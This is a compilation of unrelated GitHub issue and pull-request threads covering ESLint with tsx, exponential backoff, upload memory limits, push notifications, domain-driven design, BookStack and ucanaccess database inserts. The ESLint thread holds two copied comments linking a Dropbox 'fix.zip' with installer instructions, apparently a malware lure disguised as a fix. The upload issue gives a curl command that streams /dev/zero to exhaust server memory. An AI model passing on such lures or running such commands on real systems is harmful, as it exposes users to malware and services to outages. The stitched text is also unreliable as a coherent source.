[JAVA-961] Dynamic configuration is not valid at some time

Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Make sure there is a JIRA issue filed for the change (usually before you start working on it).  Trivial changes like typos do not require a JIRA issue.  Your pull request should address just this issue, without pulling in other changes.
[x] Each commit in the pull request should have a meaningful subject line and body.
[x] Format the pull request title like [JAV-XXX] Fixes bug in ApproximateQuantiles, where you replace JAV-XXX with the appropriate JIRA issue.
[x] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[ ] Run mvn clean install to make sure basic checks pass. A more thorough check will be performed on your pull request automatically.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.
场景：服务治理时删除配置后配置不生效

Coverage increased (+0.01%) to 86.76% when pulling 46eeab11758ff4169cf3d0e62ef033d868235a21 on laijianbin:lbd into 4d7e61d590083ebc1c778f46cdf647a61fd258cb on ServiceComb:master.

Coverage decreased (-0.03%) to 86.714% when pulling 264bd98ddd4572e0871886a4c61c05ba7c8b12f1 on laijianbin:lbd into 4d7e61d590083ebc1c778f46cdf647a61fd258cb on ServiceComb:master.

Coverage decreased (-0.03%) to 86.714% when pulling 34a51d0938fabebcce59468dc72a33231cdc38a7 on laijianbin:lbd into 4d7e61d590083ebc1c778f46cdf647a61fd258cb on ServiceComb:master.

Coverage decreased (-0.03%) to 86.714% when pulling d55cf3527841e9accade349378a5bbbced073468 on laijianbin:lbd into 4d7e61d590083ebc1c778f46cdf647a61fd258cb on ServiceComb:master.


Extension fails when config imports via tsx or jiti

Config files like the following result in the extension erroring. Running eslint via the cli work fine.
import { tsImport } from "tsx/esm/api";

const local = await tsImport("./src/index.ts", import.meta.url).then(
  (r) => r.default,
);

const configs = [
  // ...
);

// Use our local version of the plugin.
for (const config of configs) {
  if (config?.plugins?.["my-plugin"] !== undefined) {
    config.plugins["my-plugin"] = local;
  }
}

export default configs;

Output:
[Info ] ESLint server is starting.
[Info ] ESLint server running in node v20.14.0
[Info ] ESLint server is running.
[Info ] ESLint library loaded from<EMAIL_ADDRESS>[Error] An unexpected error occurred:
[Error] TransformError: Cannot read properties of undefined (reading 'size')
    at normalizeSpawnArguments (node:child_process:726:34)
    at Object.spawn (node:child_process:792:13)
    at ensureServiceIsRunning (/path/to/project/node_modules/.pnpm/esbuild@0.21.5/node_modules/esbuild/lib/main.js:1975:29)
    at transform (/path/to/project/node_modules/.pnpm/esbuild@0.21.5/node_modules/esbuild/lib/main.js:1875:37)
    at file:///path/to/project/node_modules/.pnpm/tsx@4.16.5/node_modules/tsx/dist/index-DeKCL_WS.mjs:16:2654
    at applyTransformers (file:///path/to/project/node_modules/.pnpm/tsx@4.16.5/node_modules/tsx/dist/index-DeKCL_WS.mjs:16:1266)
    at transform (file:///path/to/project/node_modules/.pnpm/tsx@4.16.5/node_modules/tsx/dist/index-DeKCL_WS.mjs:16:2601)
    at load (file:///path/to/project/node_modules/.pnpm/tsx@4.16.5/node_modules/tsx/dist/esm/index.mjs?1724634499253:2:2245)
    at async nextLoad (node:internal/modules/esm/hooks:866:22)
    at async Hooks.load (node:internal/modules/esm/hooks:449:20)

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

@RebeccaStevens can you please provide me with a GitHub repository I can clone that contains a minimal setup demoing the problem. This can be caused by many things and without a good reproducible case it is hard to say why it fails.

@dbaeumer Here's a non-minimal repo: https://github.com/eslint-functional/eslint-plugin-functional
I can make a minimal version later when I get some time.

@RebeccaStevens I cloned the repository you provided but I already fail with some initialization steps. So a minimal version is highly appreciated.

After running pnpm build things started to load. However ESLint works for me as expected

Appreciate a minimal version with steps on how to reproduce what you are seeing.

I also ran into this issue so I figured I'd just do what you asked, ha.
minimal repo: https://github.com/adiktofsugar/tsx-eslint-fail
setup steps are:

npm i

If you run npx eslint you see failures.
If you go to vscode you get output very similar to what @RebeccaStevens pasted in.


exponential backoff; configurable min- and max-delays

I have made the following additions:

exponential backoff on error. The backoff base can be specified with --backoff-base. A typical value would be between 1 and 2. Default is 1.8. This gives delays of 1.8, 3.2, 5.8, 10.4, 18.9, 34.4 seconds on subsequent errors. 2 would delay 2, 4, 8, 16, 32 and so on. 1 would always delay one second.

configurable sleep times on Favorites, Followers and Following. This was always 5 seconds. It will be a random number between configurable min and max values. Both are default 5 (so the same behavior). Configure them with --min-delay and --max-delay.

fix a bug. The fixed user agent would become random after the first failure.

print some error msgs to stderr to make this easier to debug and parse the output.

I guess we can do a single PR for this issue, #684
Do you agree?

I am sorry, I did not see that PR.
That other PR has much less functionality so I don't think that one does the job.

it has no exponential drawback (and it is much better to have that, b/c it is less slow)
it does not affect the Favorites, Following and Followers code where there is currently a fixed 5 sec delay
it still writes to stdout
it does not address the bug where the wa=True parameter is missing from get.RandomUserAgent upon an error.

What if we just push the code in that PR? I think that would be easier to manage and avoid conflicts

I'm not sure what you mean or how to do that... "push the code into that PR"

I can add that remote branch and push commits in that PR, maybe just because I'm a member

Ok - if you know how to do it then that's great ;)

Those two PR doesn't seen directly compatible and this one would need to be rebased considering #684? That being said I really like those changes and I'm here giving a +1 for it to be approved.
It would be nice if the submitter could also submit a proposal for a change to the wiki so the changes made here are documented there?


Content length is checked after downloading full file, allowing for OOM

In upload, you're loading in the full content of the file to memory, and then checking if it is too big. You should be checking the size while downloading, and immediately rejecting a file that is too big.
Steps to reproduce:
curl localhost:8000 -X POST -F file=@/dev/zero and watch as the process uses all your system's memory despite having a max_content_length of 10MB.

Thanks for reporting this 👍🏼


Make Transcript tests pass on a "First time run" scenario

The new transcript tests would fail on initialize if the container was not there. This meant anytime they're run on a new machine, they would fail.
Switched to a DeleteIfExists, and also made the init wait for the delete to complete.

    {

Add if(CheckStorageEmulator()) around this section

Refers to: tests/Microsoft.Bot.Builder.Azure.Tests/BlobTranscriptTests.cs:54 in c9a59dd. [](commit_id = c9a59dd18de09d6724c0e1a06aa67f6a129c2a15, deletion_comment = False)


Revert "Updating JPSInstallationDao to use variant.id instead of vari…

…antID"
This reverts commit 75ff5cdad7ca1561ab62ccd5ac3bf0a0b0826c5d.

@sebastienblanc @matzew Can you give try this out and review?
I can see that installations are now found but I was not able to send a push notification to my iOS device. This currently fails with the following error:
12:00:55,215 INFO  [com.notnoop.apns.internal.ApnsConnectionImpl] (Thread-38 (HornetQ-client-global-threads-1003304940)) Failed to send message Message(Id=1; Token=513C6AF82CA0763AE6D5C07626E0DFF367394BCD1C1F135734F4BEA1873A292C; Payload={"aerogear-push-id":"647c9fdf-f26e-4514-a56c-6a844d051b56","aps":{"badge":-1,"alert":{"action":null,"body":"afad","title":null,"title-loc-key":null},"sound":"default","url-args":null}})... trying again after delay: java.net.SocketException: Connection reset
	at java.net.SocketInputStream.read(SocketInputStream.java:189) [rt.jar:1.8.0_31]
	at java.net.SocketInputStream.read(SocketInputStream.java:121) [rt.jar:1.8.0_31]
	at sun.security.ssl.InputRecord.readFully(InputRecord.java:465) [jsse.jar:1.8.0_31]
	at sun.security.ssl.InputRecord.read(InputRecord.java:503) [jsse.jar:1.8.0_31]
	at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:961) [jsse.jar:1.8.0_31]
	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1363) [jsse.jar:1.8.0_31]
	at sun.security.ssl.SSLSocketImpl.writeRecord(SSLSocketImpl.java:735) [jsse.jar:1.8.0_31]
	at sun.security.ssl.AppOutputStream.write(AppOutputStream.java:123) [jsse.jar:1.8.0_31]
	at java.io.OutputStream.write(OutputStream.java:75) [rt.jar:1.8.0_31]
	at com.notnoop.apns.internal.ApnsConnectionImpl.sendMessage(ApnsConnectionImpl.java:328) [apns-1.0.0.Beta6.jar:]
	at com.notnoop.apns.internal.ApnsConnectionImpl.sendMessage(ApnsConnectionImpl.java:312) [apns-1.0.0.Beta6.jar:]
	at com.notnoop.apns.internal.ApnsServiceImpl.push(ApnsServiceImpl.java:46) [apns-1.0.0.Beta6.jar:]
	at com.notnoop.apns.internal.AbstractApnsService.push(AbstractApnsService.java:102) [apns-1.0.0.Beta6.jar:]
	at com.notnoop.apns.internal.ApnsServiceImpl.push(ApnsServiceImpl.java:36) [apns-1.0.0.Beta6.jar:]
	at org.jboss.aerogear.unifiedpush.message.sender.APNsPushNotificationSender.sendPushMessage(APNsPushNotificationSender.java:164) [unifiedpush-push-sender-1.1.0.Final-SNAPSHOT.jar:1.1.0.Final-SNAPSHOT]
	at org.jboss.aerogear.unifiedpush.message.NotificationDispatcher.sendMessagesToPushNetwork(NotificationDispatcher.java:73) [unifiedpush-push-sender-1.1.0.Final-SNAPSHOT.jar:1.1.0.Final-SNAPSHOT]

Could one of you please try with an iOS variant to see if this works for you and if this is an issue with the network I'm on perhaps.

@danbev I can take a look this night, or tomorrow morning as my first
@sebastienblanc you have any iOS device in the meantime ?

@danbev I think you can open a separate issue for the iOS problem

@sebastienblanc Done, created https://issues.jboss.org/browse/AGPUSH-1497

:+1:
@edewit Could you also take a look  ? And looks like this revert also fixes AGPUSH-1492

I can not reproduce the failure, using a development certificate

@matzew Let me double check my environment including my certificates like @sebastienblanc suggested. Sounds like this is an error on my part. Thanks for testing.

@sebastienblanc @matzew Sorry guys, it was indeed my certificate that had expired. I thought I checked this yesterday but obviously did not. Please ignore the error I reported and sorry about wasting you time.

:+1: solves both issues


operator hive-operator (1.2.4054-8ea4577)

Update Hive community operator channel(s) [['alpha']] to 1.2.4054-8ea4577

/merge possible

/merge possible


Project definitions / specifications

I just pushed a draft of a specification that we need to change. I try to keep the project as simple as possible. I think that is time to define a ubiquitous language and refine every aspect of this project.
I have defined some domain models, they are:

User
Project
Task

They are described into SPECIFICATION.md file. This file will be updated everytime we change something in the project specification.

What about Project become an (aggregate)[http://martinfowler.com/bliki/DDD_Aggregate.html]?

Project as an aggregate sounds good for me.
Tasks has no significance outside of a Project.

What about Tasks statuses as value objects?

Nice! Make sense to me!
I need to add more things on specification, if you have any advice/idea. I must describe the User definition, its behavior, its properties. If you can review the specs and change something. Feel free! =)
Thank you @hussani

@hussani Task have not a identifier? So, should not be an Entity?

@xshifty In the specification, role word is used more than one time. ACL will be part from this Domain and Ubiquitous Language? If yes, is necessary, now in these initial version, control roles to users? I think that just the owner and invited role is necessary to the Project. We can think about dinamic roles by projects in next versions, after we have a good structured Domain.
You agree, or not?
I write a simple lib to RBAC in PHP, is simple and old, but has well separated Entities, I think =)
More about: RBAC

Hello @Maykonn, thank you so much for your question.
Yes, Task will be a Entity, and about the Roles, i like to think of it as a value objects.
@Maykonn, do you want to join ddd-fellowship? I'll invite you, ok?
@hussani I think that we need to classes for Project, one is a Entity and other will be a Aggregate root. Project Entity will be the root for "ProjectAggregate" class
All advices/hints are welcome.

Yes I want. =)

I agree, Role is a Value Object.

@xshifty @maykonn I agree with Role as VO.
And we need to a Project entity and a Product Tasks Aggregate, to group tasks of a project. The aggregate must have a relationship with the entity.

Product? I don't understand the presence of Product in our domain. Can explain better?

Sorry. I want to say Project.
Autocomplete mistakes.

Hahaha! Ok! I thought you meant it =)

I think that the timestamps should also be VOs.

And they should be immutable.

Yes, I agree.

I do not see the "Project" as "Root-Entity / Aggregate" to generate "Tasks".
A "Aggregate" is used to hide from clients the details of  complex Objects, that have many invariants and/or relationships with many Entities and VOs.
"Project", "Task" and "User" are simple Objects of easy construction, not needing "Aggregates" or "Factories" for generating them.
In this case, I see that with the use of "Services" we can solve the issue of generation and the relationship of these "Entities". Examples:
ProjectManager :: create ($project);
ProjectManager :: addUser ($ user);
ProjectManager :: addTask ($ task);
ProjectManager :: assignUsertToTask ($ user, $ task);

Following this idea we can have "TaskManager", "UserManager", etc.
What do you think?

Right now, we have defined three domain models: Project, Task and User, like @mariorez told, they are so simple. But, what if those models, become more complex (And they will)?

We just refactor, and change to a new approach or....
We change it now?

I'm my opinion, i think that we can implement the simplest approach right now, and refactor.
I just want to think better about the managers.
Thank you @mariorez for your collaboration.

@xshifty I also prefer the approach to start simple and improve the design as needed.

Perfectionism prevents people from creating elegant designs because it slows down early iterations.
Eric Evans
http://www.se-radio.net/2015/05/se-radio-episode-226-eric-evans-on-domain-driven-design-at-10-years/

@mariorez :+1: about think simple and improve the design on demand.

We have a draft on specifications folder. Someone think that we need to change/add something?
What you guys think about creating a vocabulary and start drawing UML for ours entities?

@xshifty good job with the specifications :+1:
I think we should continue thinking about the domain. The current specifications are a good starting point but more knowledge is needed IMHO
Here are some questions/notes that came to my mind:
First of all try to avoid using CRUD verbs to describe the behaviour. If the model would be really so simple that we don't need aggregates and actions like create, update and delete are enough to handle user intention then DDD won't be a good choice for the project.
Btw. starting simple doesn't mean skip all the DDD stuff and use transaction scripts instead (aka services dealing with an anemic domain model). You can start simple by implementing a prototype with a roughly defined model and become more precise in later iterations when you have better knowledge about the domain -> continuous refactoring
Questions:

Why can a Task status be created, edited, deleted and how? I guess a Task should always have a status.
Do we need categories or labels for the Tasks to mark them as Feature, Bug, etc.
Can a Task also be canceled?
Do we need milestones to group tasks into sprints for example?
Can a Task have comments?
What exactly means a User can create a Task? Where is the Task created? Must the user be a member of the project or can a Task be reported via email, bot, as a guest, etc.
Can we find a better phrase for create Task? Maybe: a Task can be added to a project by a User (who is member of the project?) or a Task can be reported, ....
Should we track the creator/reporter of the Task?
What user roles do we have and why?
What is the purpose of a project? Only grouping users and tasks?
Who can add a new project? An Administrator? Each User?
How does the identifier of a Task look like? Number, project shortcut + number, GUID, ....
Do we need deadlines for projects/milestones/tasks?
Do we only deal with one bounded context? Maybe user management should be a separate context.

I think @mariorez is right regarding the project task relationship. Project should not be the root of a Project-Tasks-Aggregate. Such an aggregate is called a Large-Cluster Aggregate and should be avoided whenever possible. You can read more about it here: http://dddcommunity.org/wp-content/uploads/files/pdf_articles/Vernon_2011_1.pdf. However, I disagree that an aggregate must be complex thing. One root entity and some VOs are enough for most aggregates. And please don't put all the logic in services. That is not the idea of DDD: http://www.martinfowler.com/bliki/AnemicDomainModel.html
Best,
Alex


Refs #6216 and #6252

6216 commits are for script that's currently in progress.
6252 code is completed.

👍

oops


Q: OpenGL support

Is there any plan to support OpenGL contexts / widgets in toga? There is code for creating them for OSX/Linux/Windows in Pyglet, so there is some guideline available. Just curious to know if I should keep an eye on it, because if OpenGL contexts are available then it could be made to operate with / as a backend for [vispy] (http://github.com/vispy/vispy).

Eventually - sure. It's not a high priority for myself personally, but I know 3D visualizations can be very significant for others, and most platforms are now providing relatively simple canvases for OpenGL. So, if some widgets were to mysteriously appear in the pull request queue... :-)
Completely seriously, it's actually not as hard to write a Toga widget as you may think - if there's a good base widget with an obvious API to expose, writing the wrapper API is a relatively simple proposition. The code for the Button widget is a good place to start if you're interested in contributing.


Can‘t edit user Profiles after Update to v.0.28.0

If i try to edit a users Profile.
As Admin or es User himself..
I only get an error ( see the screenshot)
Url like (domain/settings/users/1)
Everything else seems to work without problems.
Setup:

Exact BookStack Version (v.0.28.0):
PHP Version:7.4
Hosting Method (Apache2):

I had this issue editing pages and solved it doing the update routine again:
php artisan migrate
php artisan cache:clear
php artisan view:clear

Very big thanks,
That solved it.
So next time i will clear the stuff like recommanded

This also fixed my issue. My issue was that the User button wouldn't drop down at all, and when editing a page, or adding a new page, the Editor would show on 1/3 of the screen, the Image Explorer in another 1/3 and the Entity dialog on the last 1/3. This made the actual editor really hard to use. The commands by @JHenneberg resolved the issue. Just thought I would post this in case anyone else has the problem.


Relationship of membrane depolarization to membrane

From this LEGO Model + reasoning
we get:
This comes from:

(This axiomatization is correct and does useful work in the ontology).
+ 'sodium ion transport across membrane' part_of 'membrane deploarization' occurs in  'postsynaptic density membrane'
+ occurs_in o part_of -> occurs_in (Which is correct)
This issue is analogous to our use of 'results in transport across' for transport across a membrane.  We will need a new relation for relating depolarization to a membrane.  Ideally this would be generic.  Perhaps 'occurs across'.  This could be used for the transport case too (where the current relation has no link to occurs in).

This is a single term. I will assume we dont need a DP for this.


[BUG] Cloze cards dose not work

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

add the tag #flashcards
write down "We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness."
click the Spaced Repetition button

Expected behavior
I can have the cloze cards
Screenshots

Versions (please complete the following information):

OS: [e.g. Windows 10]
Obsidian version: [e.g. v0.12.10]
Plugin version: [e.g. v1.5.7]

Stephen Mwangi @.***>于2021年7月27日 周二22:15写道：

Hey, so there's a bug with cloze cards. They require a newline after them
so that they can be recognized. I might be the issue here. If it's not,
please let me know.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/st3v3nmw/obsidian-spaced-repetition/issues/208#issuecomment-887550013,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOZJGR72J7XZ5S4VEZ465M3TZ25PXANCNFSM5A75SMVQ
.T

Thanks for your response, adding a new line make the close cards work!

Zhixiang Cai @.***>于2021年7月27日 周二23:01写道：

Stephen Mwangi @.***>于2021年7月27日 周二22:15写道：

Hey, so there's a bug with cloze cards. They require a newline after them
so that they can be recognized. I might be the issue here. If it's not,
please let me know.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/st3v3nmw/obsidian-spaced-repetition/issues/208#issuecomment-887550013,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOZJGR72J7XZ5S4VEZ465M3TZ25PXANCNFSM5A75SMVQ
.T

Thanks for your response, adding a new line make the close cards work!

However, if I make cloze cards in Outiliner model, adding a new line
will break the Outline.

Seems fixed now, closing...


Excelparser does not write catalog file correctly

Tried by importing https://emmo-repo.github.io/versions/1.0.0-beta4/emmo-inferred.ttl in the excel file.
The resulting ontology refers to the correct EMMO-classes (so loading import works fine), but then it is not functioning when opening the resulting ontology in proege due to missing parts in the catalog file.

The problem was not in writing, but that leading and trailing spaces (that are easily inserted by mistake in the excelfile) are written out in the catalog.


How to use RemoveData.

Hi all,
I am trying to remove previous data from canvas using removeData()  and add new data on same canvas.
But its not working.
    | var ctxBar = document.getElementById("canvasBar")
    | var context = ctxBar.getContext("2d");

    | var barChartData = {
    | labels : arrayOfLabel,
    | datasets : [
    | {
    | fillColor : "rgba(220,220,220,0.5)",
    | strokeColor : "rgba(220,220,220,0.8)",
    | highlightFill: "rgba(220,220,220,0.75)",
    | highlightStroke: "rgba(220,220,220,1)",
    | data : arrayOfValue
    | }
    | ]
    | }

    | var myBar;
    |<!-- Clear Previous Data-->
    | myBar.removeData();
    |<!-- Load Graph -->
    | myBar = new Chart(context);
    |   myBar.Bar(barChartData, {
    | responsive : false
    | });

Closing as abandoned.


Retry only for resolution and downloading

This is no longer relevant since the issues with the maven.twttr.com repository have been resolved.


ARTEMIS-3211 Increase MaxInlineLevel to 15 on JVM configuration and remove String deduplication

https://issues.apache.org/jira/browse/ARTEMIS-3211

I would question playing around too much with default jvm settings out the box. Unless we have some stats where these settings improve things for most users. E.g. small brokers on virtualised envs and large brokers on physical

@michaelandrepearce In the comments of https://issues.apache.org/jira/browse/ARTEMIS-3211 I've explained why the change on Inline level -> it's the new default on the JDK, so we've the coverage of the JDK team that bumping up won't produce any regression (they run the old JMS spec too while testing changes like this)

Yes but you now introduce an issue what happens if next version of jvm changes maxinline again, yourve basically forced a default which would ignore the jvms recommendation. I would leave it out personally and rather recommend users to latest jvm for performance improvements.  And we simply have docs around how to tune, as anyhow most tunings will be setup dependent and for specific usecase

I agree with leaving the defaults. referencing this as something that can be relevant such that tweaks to this should be considered when doing performance tuning may be sufficient.
Folks always have to ask their own computer when it comes to performance tradeoffs.
btw: what is the string deduplication bit, I imagine that can have a large impact depending on the use case. There are loads of potentially duplicate strings and there is some pooling, but surely de-dup would need to work in concert with that.

@michaelandrepearce

Yes but you now introduce an issue what happens if next version of jvm changes maxinline again, yourve basically forced a default which would ignore the jvms recommendation

Not ignore, just leaving on the ground some free optimization: inlining should be already tuned to account for the type of application and with Netty-like application that perform many buffer manipulation, I've seen in other contexts (eg Vert-x) that raising it would just produce better optimized code (see https://github.com/netty/netty/pull/10368#issuecomment-650029428 for an horrible journey trying to improve the situation for default jdk < 14 users due to lack of this setting in many envs).
This is a type of setting that won't change over time so often (last time was >10 years ago!), really, but I understand your point here.

I would leave it out personally and rather recommend users to latest jvm for performance improvements
Sadly some users cannot move from jdk 8 (yet) for many reasons, I would rather recommend to do it if they can, is really a free lunch here.

@gtully

Folks always have to ask their own computer when it comes to performance tradeoffs.

AFAIK there's no trade off here, but just a conservative setting on jdk 8, I can come with some numbers if we need, but isn't easy, I suggest to look at the Netty PR I've referenced that better explain how painful is to workaround on critical path code lack of this setting...

btw: what is the string deduplication bit, I imagine that can have a large impact depending on the use case. There are loads of potentially duplicate strings and there is some pooling, but surely de-dup would need to work in concert with that.

Sadly string dedup work mostly for old gen Strings and tends to increase pause time: that's a fine grain optimization tuning that each user can decide after profiling (given that is a trade-off).

Franz linked to the JDK14 JIRA for the MaxInlineLevel change, but I'd note it was also backported to JDK 11.0.10 via https://bugs.openjdk.java.net/browse/JDK-8256164 already. Given that, and discussion of dropping JDK8 support, I would probably just leave it unset at this point, perhaps document it for JDK8 usage, and tell people to use current JVMs for best perf.

I'm fine with the suggestion of @gemmellr  and the comments of @gtully and @michaelandrepearce ; just would like to warn users to set it, given that's a free lunch :)

maybe add a little section at:
https://activemq.apache.org/components/artemis/documentation/latest/perf-tuning.html#tuning-the-vm

Good idea @gtully that seems the appropriate place, going to close this and maybe refresh that doc part to help users on perf suggestions related other parts of the brokers ie thread pools, GC, Netty configs, JVM etc etc wdyt?

perfect, that section could do with some love :-)


[ButtonGroup] Non-homogeneous border

When grouping two buttons inside the  component, borders of the two buttons overlap and result in some low quality detail

[x] The issue is present in the latest release.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

Current Behavior 😯

The vertical line that divides the two buttons has some lighter pixels where it meets the button outline.

Expected Behavior 🤔

When placing two buttons within a  component, their border should be connected smoothly and consistently, as the following screenshot:

In our app, we manually set the style by putting "border-right: 1px" for the left button, and "margin-left: 0px" for the right button. Before, right button has "margin-left: -1px" and there is no border-right for left button, which result in the current behavior above
Steps to Reproduce 🕹

Steps:

Code two buttons in  component. For example, we have:

        <ButtonGroup className={classes.starButtonGroup}>
            <Button
                    aria-label="reduce"
                    className={classes.starButton}
                    onClick={handleClickStarDocument}
                >
                    {starred ? (
                        <StarIcon fontSize="small" className={classes.starButtonIcon} />
                    ) : (
                        <StarBorderIcon fontSize="small" className={classes.starButtonIcon} />
                    )}
                    Star
            </Button>
            <Button aria-label="increase" className={classes.starCountButton}>
                <Typography display="inline" variant="body2">
                    {starCount}
                </Typography>
            </Button>
        </ButtonGroup>

Render it and should see the bug in page

Context 🔦

Your Environment 🌎
React app with nvm -> 12.16.2

`npx @material-ui/envinfo`
  Don't forget to mention which browser you used.
  Output from `npx @material-ui/envinfo` goes here.

End-users need to zoom in x2 to start being able to see the issue. I'm hesitating to add the "won't fix" flag as there is likely no other option than to remove the opacity from the border, which has other downsides, probably more important ones. So, it would be a tradeoff.
We had to solve a similar problem in #9229, but it was a lot more noticeable:
https://github.com/mui-org/material-ui/blob/cce45deec3125c1f0dd6c1c74616b5e63b027026/packages/material-ui/src/TableCell/TableCell.js#L59-L66

@oliviertassinari thanks for the triage and response! yea its not very obvious but it would be great to have them aligned. In our app, I did it by removing the negative margin-left from right button and specify border-right: 1px for the left button. MUI is setting left button's border-right transparency to 0; as a result, I can achieve the Expected Behavior I posted.
Not sure if this could help, thank you for looking into it!

The Material Design specification document the outlined color as grey

You can't tell that it's opaque (what I assume you mean by grey) from that screenshot, but you can tell that it isn't from this one:

(Note the subtle change in color as the line crosses the streak in the background image.) The is important so that the button picks up a hint of the background color, particularly for more solid areas of color.
The current implementation was a conscious trade-off. It isn't obvious at normal magnification. Any attempted fix should ensure it doesn't affect button width and symmetry, or border transparency.

@eps1lon has worked on this in #15242. From what I recall, at that time, it wasn't obvious that Google was moving in this direction. https://github.com/material-components/material-components-web/pull/5268 would support that they are, and that 12% of opacity is what should be used.
For the given problem, I can't think of any better tradeoff than the current one. I have tried clip-path: inset(0px 1px 0px 0px); but it was still leaving a small rendering overlap artefact. Unless there is an objection I propose we close.


Magnum for Mac OSX

Seems to be compiling in Mac, so I will merge
I will keep this open for possible fixes as this segfaults in Mac..


Initial Changes from Forked Repo

Merging in the initial implementation of this JSON resume theme.

Force pushed since my commits were not signed correctly.


Change contributing guidelines

Change the CONTRIBUTING.md file with new instructions for the new tooling.
Remove the docs-bak directory because it is not needed anymore.
/cc @cartermp @bethmassi

The zip file I get from the docfx site is 0 bytes on my machine.

Okaaaay...are, however, the contrib guidelines good? :) @chenkennt @pengbian can you please check this? I'm guessing it is just a deployment issue?

Yep, the guidelines look good without running anything locally.  For the purpose of expedience I'll give it a LGTM.

Same issue as @cartermp wrt the zip. The instructions are formatted fine but I can't tell if they are clear enough without trying it.


Can't insert into database

I've created an internally used tool that reads some records from a csv file, and then inserts them into an access database. This was working before, but when I switched to using the forked version of ucanaccess (5.1.1), the data is no longer inserted. I don't see any errors, but afterwards, when I open the file in Access, the data isn't there.
This is the code I'm running:
Class.forName("net.ucanaccess.jdbc.UcanaccessDriver");

try (Connection connection = DriverManager.getConnection(connectionString);
     PreparedStatement preparedStatement = connection.prepareStatement(SQL_STATEMENT)) {
  List<Transaction> transactionList = InputFileParser.parseInputFile(this.importFilePath);
  for (Transaction transaction : transactionList) {
    preparedStatement.setInt(1, transaction.getFamilyId());
    preparedStatement.setNull(2, Types.INTEGER);
    preparedStatement.setDate(3, Date.valueOf(transaction.getDonationDate()));
    preparedStatement.setDate(4, Date.valueOf(transaction.getDonationDate()));
    preparedStatement.setString(5, Transaction.DONATION_TYPE);
    preparedStatement.setBigDecimal(6, transaction.getAmount());
    preparedStatement.setString(7, Transaction.DESIGNATION);

    final int rows = preparedStatement.executeUpdate();
    connection.commit();
    log.info("Updated: {} row(s)", rows);
    importResult.incrementCount(rows);
    importResult.incrementTotalAmount(transaction.getAmount());

    this.updateMessage("Inserted: %s\n".formatted(transaction.toString()));
    log.info("Inserted: {}", transaction);
    Thread.sleep(100);
  }
} catch (final SQLException sqlException) {
  log.warn("Error inserting transactions to database.", sqlException);
  throw sqlException;
}

The connection string is: "jdbc:ucanaccess://V:\DevProj\psaft-importer\src\test\resources\database\test\test.accdb"
The SQL statement used in the prepared statement is:
INSERT INTO `Donation Detail` (`Donor_ID`, `Batch`,  `Donation Date`, `Deposit Date`, `Donation Type`, `Amount`, `Designation`) VALUES (?, ?, ?, ?, ?, ?, ?)

If I switch back to the 'old' ucanaccess (5.0.1) from net.sf.ucanaccess, the inserts work.
In case it helps, I'm using Java 22, and the UI for the tool is JavaFX (also version 22)
Any help would be appreciated.

Hi Victor (@vewert),
thanks for posting this issue and sorry for the late reply.
Could you share your database here? an MRE will do, it should contain the Donation Detail table and related db objects (if any), and a few sample records.
I will then take a closer look.
Have a great week-end!
Markus

I cannot reproduce your issue.
I am happy to try with your test database.
Have you checked for exceptions apart from SQLException?
Unrelated to the issue but I would recommend against using spaces in database object names and avoid possibly reserved words such as Amount and Batch.

Sorry, life is very crazy right now, and I haven't had time to get back into this. I might have time this week, but not sure.

Hi @vewert,
Still unable to reproduce using your provided database ... you're welcome to check out my unit tests in branch github-issue-16

Very Strange. Thanks for trying it out. When I get a chance, I'll download your code and see if I can reproduce it.
btw what Java version are you using?

btw what Java version are you using?

The library is tested and built on Windows and Ubuntu with Java 11, 17, 21 each, using several Github workflows. It requires Java 11 or later:
    <project.build.systemJdk>11</project.build.systemJdk>
    <project.build.targetJdk>11</project.build.targetJdk>

Test GithubIssue16Test uses the database file you sent in and performs your insert, while GithubIssue16VersionTest is a parametrized test using blank MS Access database files of all versions listed in enum net.ucanaccess.type.AccessVersion.

The driver requires at least Java 11. If run with a JRE < 11, java.sql.DriverManager would find the driver using the ServiceLoader mechanism but encounter an UnsupportedClassVersionError attempting to load it. This error is silenty swallowed by the JDK (by design). A subsequent call to DriverManager.getConnection will throw "java.sql.SQLException: No suitable driver found for jdbc:ucanaccess://".
Looks that you are using at least Java 15 (noticed the usage of String.formatted api).
I am unable to reproduce the issue. The sample record gets inserted as expected.

Wished I knew how I could help you further. Please take another look at your end.

I cloned and ran your unit test and it passed. Where can I find the actual database file, after the unit test is done? The reason I ask, is because in one of my unit tests, after inserting the data, the unit test does a SELECT to check the data. That was passing, but when I actually opened the database file in Access the record wasn't there.

Test GithubIssue16Test also performs an SQL Select in line 39+40 following the Insert:
            checkQuery("SELECT * FROM " + tbl + " WHERE Donor_ID=1",
                recs(rec(1, null, sqlDt, sqlDt, "donation_type", amt, "designation", null)));

The test database is copied from the project to a sub directory test-ucanaccess-(loggedOnUserId) of system temp at start of test execution. Please note that in this project temporary files are deleted at JVM shutdown using calls to File#deleteOnExit in UcanaccessBaseTest. To keep the test resources you would have to comment out such lines.
I noted the TestUtils.resourceToPath("database/test/test.accdb") in your test code. I don't have this method and don't know how its implementation. Just checking whether it copies the database and leaves the original unmodified?

Hello @vewert,
can you shed more light on this or is it time to close this issue?

I hope that things will quiet down for you in a positive way.
I'll keep this issue open for some longer.

